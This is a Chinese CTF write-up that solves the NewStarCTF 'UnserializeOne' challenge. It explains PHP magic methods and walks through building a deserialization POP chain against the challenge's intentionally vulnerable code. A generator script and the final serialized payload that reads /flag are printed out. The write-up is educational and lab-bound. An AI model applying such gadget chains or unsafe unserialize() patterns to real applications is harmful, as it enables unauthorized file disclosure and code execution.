前言
Buu NewStar校外公开赛第二周的难度还是比第一周要高的,也许是自己太cai了所以这篇文章只只针对这周的UnserializeOne这道php反序列化题进行解答,并对这类pop链构造的题做一个详细的总结,希望对初学者有帮助(当然本人也是初学者哈哈哈)。
一、熟悉php反序列化中的一些魔术方法
在这里借鉴了网上各位大佬的一些对于魔术方法的总结(这里也是题目提供的链接):
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
更详细内容见链接:PHP反序列化研究 - 知乎
二、审题,分析最终需要我们触发什么魔术方法
页面直接就是扔一段代码出来
具体代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
ok,很明显就是一道php反序列化构造pop链的题,这类题首先我们需要做的就是观察我们的最终目的是要调用哪个函数,在此题中很明显有个关键语句: echo file_get_contents('/flag');
所以我们最终目的便是要触发Sec类里的__invoke魔术方法即可获取flag,即:
public function __invoke()
{
echo file_get_contents('/flag');
}
三、找出pop链的入口后延申向下,或者从目标函数反推(本文从入口延申)
pop链构造题中最常见的入口就是__destruct(),此函数在对象销毁时立刻触发(可以直接理解为new该对象时直接触发该方法),所以我们第一步便是创建一个变量实现Start类:
$res = new Start();
此时会触发__destruct()函数:
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
可以看到 echo 了 name 这个属性,所以此时若把name实例化成一个对象,且该对象含有__toString()时就可以触发该魔术方法,所以我们寻找含有该魔术方法的类即Sec类:
lass Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
因此第二步为:
$res->name = new Sec();
跟进__toString(),可以发现调用了obj的check()方法,而__call()刚好是调用一个对象中无法利用的方法或者不存在的方法时触发,Easy类中就有这个魔术方法:
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
所以我们把obj实例化为一个Easy类的对象
因此第三步为:
$res->name->obj = new Easy();
跟进__call(),可以发现调用了clone,因此我们直接去找哪个类含有__clone()方法,可以发现eeee类有此方法:
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
因此我们要把var这个变量实例化为一个eeee的对象
因此第四步为:
$res->name->var = new eeee();
跟进__clone(),可以发现调用了isset()方法,因此我们直接找哪个类含有__isset(),可以发现Start类有此方法且Start类中无法调用cmd属性(因为不存在),因此要把eeee对象中的obj属性实例化为一个Start对象:
public function __isset($var)
{
($this->func)();
}
因此第五步为:
$res->name->var->obj = new Start();
跟进__isset(),可以发现直接将func属性当成函数调用刚好可以触发__invoke()方法,所以此时就到了pop链的最后一个部分,现在只需要将func属性实例化为Sec对象即可触发
public function __invoke()
{
echo file_get_contents('/flag');
}
因此最后一步为:
$res->name->var->obj->func = new Sec();
四、整理pop链顺序编写脚本
直接将文中需要利用的类全部copy下来,注意!!!:因为私有类属性无法在类外进行操作,所以我们要把属性全部改成公有属性即 public属性
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$res = new Start();
$res->name = new Sec();
$res->name->obj = new Easy();
$res->name->var = new eeee();
$res->name->var->obj = new Start();
$res->name->var->obj->func = new Sec();
echo serialize($res);
得到payload为:
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}
post传递参数:pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}
在回显中发现flag,好耶
总结
这道pop链的构造还是很直观的,这类题关键还是找对应的方法,并想着如何去触发,比如__destruct()一般是入口,看到echo某个属性时就要想到__toString(),或者某个属性被匹配替换时也要想到__toString(),这些都能触发该方法。还有我们的最终目标函数一般为:file_get_contents(),call_user_func(),call_user_func_array(),include()等等,还有很多还请各位师傅补充补充。